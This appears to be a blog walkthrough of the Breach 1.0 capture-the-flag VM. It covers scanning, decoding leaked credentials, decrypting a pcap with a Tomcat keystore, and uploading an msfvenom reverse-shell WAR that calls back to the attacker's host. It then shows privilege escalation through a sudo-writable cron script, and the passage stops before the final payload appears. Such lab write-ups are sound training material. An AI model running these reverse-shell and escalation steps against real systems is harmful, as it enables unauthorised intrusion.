“First in a multi-part series, Breach 1.0 is meant to be beginner to intermediate boot2root/CTF challenge. Solving will take a combination of solid information gathering and persistence. Leave no stone unturned.
The VM is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adaptor to this subnet.“ – mrb3n
More information and OVA file download please check here.
Attacker & Target
Attacker: Kali2 Linux (192.168.110.129/24)
Target: PwnLab: init (192.168.110.140/24)
Tools
All the tools used here can be found in Kali Linux
Using arp-scan as routine to detect the target’s IP address.
1234567891011
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)192.168.110.1 00:50:56:c0:00:08 VMware, Inc.
192.168.110.2 00:50:56:f1:61:7e VMware, Inc.
192.168.110.128 00:0c:29:5f:3b:1a VMware, Inc.
192.168.110.140 00:0c:29:f1:0a:9f VMware, Inc.
192.168.110.254 00:50:56:e9:0a:b5 VMware, Inc.
5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.421 seconds (105.74 hosts/sec). 5 responded
192.168.110.140 is our Target!
Then run masscan to detect opening ports on the target (masscan is much faster than nmap when doing a full ports scan, so here I use it to make a full scan and then use nmap to do a deep scan on target ports).
Since we got all ports open when doing masscan ports scan, that sounds like the server is located behind an IDS or IPS.
Without the auto-port scanner, I have to check ports manually. So I started from common ports and port 80 would be the first come out~
Good, the target is providing WEB service, so I run nikto to do an auto scan on port 80.
12345678910111213141516171819202122232425
root@kali:~/myExercises/breach1# nikto -host 192.168.110.140 -output 192.168.110.140_nikto.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.110.140
+ Target Hostname: 192.168.110.140
+ Target Port: 80
+ Start Time: 2016-11-27 14:36:24 (GMT11)---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)+ Server leaks inodes via ETags, header found with file /, fields: 0x44a 0x534a04f49139d
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ No CGI Directories found (use '-C all' to force check all possible dirs)+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2016-11-27 14:36:45 (GMT11)(21 seconds)---------------------------------------------------------------------------
+ 1 host(s) tested
Here is a directory found /images/.
Download all the pictures and checked them by using exiftool, found one comment coffeestains in file bill.png.
12345678
root@kali:~/myExercises/breach1/images# exiftool * | grep -i -e 'File Name' -e 'Comment'File Name : bill.png
Comment : coffeestains
File Name : cake.jpg
File Name : initech.jpg
File Name : milton_beach.jpg
File Name : swingline.jpg
File Name : troll.gif
Took a note here, for now.
By checking the source code as follow, I noticed that there is a page called initech.html and some encoded text (looks like base64 encoded) in the comment.
After decoded twice of the string Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo, I got the plaintext: pgibbons:damnitfeel$goodtobeagang$ta which highly possible to be a pair of username and password divided by :.
Take a note here, the username is pgibbons and the password is damnitfeel$goodtobeagang$ta.
Then moving on to the new page initech.html.
Employee portal just outstanding on the menu, so heading into it and using the username and password found before, bingo!!
After get in, there are 3 new emails in the mailbox.
Got something suspectable In the 3rd message, and download the secret file .keystore.
Keep note here, and then search ssl in order to find more information about the new SSL certificate, and I got another message which disclosed a pcap file link, also the storepassword and keypassword are all set to tomcat.
Now downloaded the pcap file and opened it using wireshark, all the TCP stream is encrypted, so I need to import a certificate to decrypt.
Then I decided to back to the .keystore file and searched online, got that is tomcat certificate keystore file. Using keytool and the password tomcat to check it.
After imported the private key, I have to re-open the pcap file in wireshark, now the traffic is quite clear, then right click in wireshark and choose Follow –> SSL Stream to read the traffic clearly.
From here, got a HTTP Basic login credential in base64 encoded: dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC.
After decoded it, i got the plaintext: tomcat:Tt\5D8F(#!*u=G)4m7zB, which username is tomcat and password is Tt\5D8F(#!*u=G)4m7zB.
And based on the first two lines above, the login URL should be https://192.168.110.140:8443/_M@nag3Me/html.
[Note] Here I could not load the page correctly via firefox directly, but when I use burp proxy as a proxy, I was able to add exception in the firefox to access the tomcat page.
Now I got in, from here, I could generate and upload an evil .WAR file or use metasploit to exploit automatically.
Using msfvenom to generate a WAR webshell by following commond [3]:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=443 -f war > shell.war
Then setup msfconsole to listen on and got a reverse shell back as soon as I triggerred.
smsf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.110.129 yes The listen address
LPORT 443 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.110.129:443
[*] Starting the payload handler...
[*] Command shell session 4 opened (192.168.110.129:443 -> 192.168.110.140:37620) at 2016-11-27 14:17:25 +1100
id
uid=104(tomcat6)gid=112(tomcat6)groups=112(tomcat6)
Great! got in. However, after spended couple of hours looking around in the system, I could not get any further.
Things are getting clear, from the previous notes, I got a string coffeestains, in bill.png, which looks like a password, and now I got Bill’s account name is blumbergh.
Now I tried to su to blumbergh with the password coffeestains.
12345678
tomcat6@Breach:/home$ su blumbergh
su blumbergh
Password: coffeestains
blumbergh@Breach:/home$ id
id
uid=1001(blumbergh)gid=1001(blumbergh)groups=1001(blumbergh)blumbergh@Breach:/home$
blumbergh@Breach:/home$ cd blumbergh
cd blumbergh
blumbergh@Breach:~$ ls -al
ls -al
total 28
drwxr-xr-x 3 blumbergh blumbergh 4096 Jun 12 09:42 .
drwxr-xr-x 4 root root 4096 Jun 4 19:24 ..
-rw------- 1 blumbergh blumbergh 61 Jun 12 09:42 .bash_history
-rw-r--r-- 1 blumbergh blumbergh 220 Jun 4 19:24 .bash_logout
-rw-r--r-- 1 blumbergh blumbergh 3637 Jun 4 19:24 .bashrc
drwx------ 2 blumbergh blumbergh 4096 Jun 6 17:55 .cache
-rw-r--r-- 1 blumbergh blumbergh 675 Jun 4 19:24 .profile
blumbergh@Breach:~$ cat .bash_history
cat .bash_history
clear
logoff
logoutexitcd /usr/share/cleanup
cat tidyup.sh
blumbergh@Breach:~$ locate tidyup.sh
locate tidyup.sh
/usr/share/cleanup/tidyup.sh
blumbergh@Breach:~$ ls -al /usr/share/cleanup/tidyup.sh
ls -al /usr/share/cleanup/tidyup.sh
-rwxr-xr-x 1 root root 289 Jun 12 09:36 /usr/share/cleanup/tidyup.sh
blumbergh@Breach:~$ cat /usr/share/cleanup/tidyup.sh
cat /usr/share/cleanup/tidyup.sh
#!/bin/bash#Hacker Evasion Script #Initech Cyber Consulting, LLC#Peter Gibbons and Michael Bolton - 2016#This script is set to run every 3 minutes as an additional defense measure against hackers.cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10| xargs rm -rf
blumbergh@Breach:~$ sudo -l
sudo -l
Matching Defaults entries for blumbergh on Breach:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User blumbergh may run the following commands on Breach:
(root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh
blumbergh@Breach:~$
Here I know that tidyup.sh script will be run automatically every 3 minutes, and blumbergh got ROOT priviledge to run the command /usr/bin/tee /usr/share/cleanup/tidyup.sh which will be able to modify the tidyup.sh script to evil shell.
After setup nc to listen on local port 7777, I run the following command to modify tidyup.sh script to include evil code:
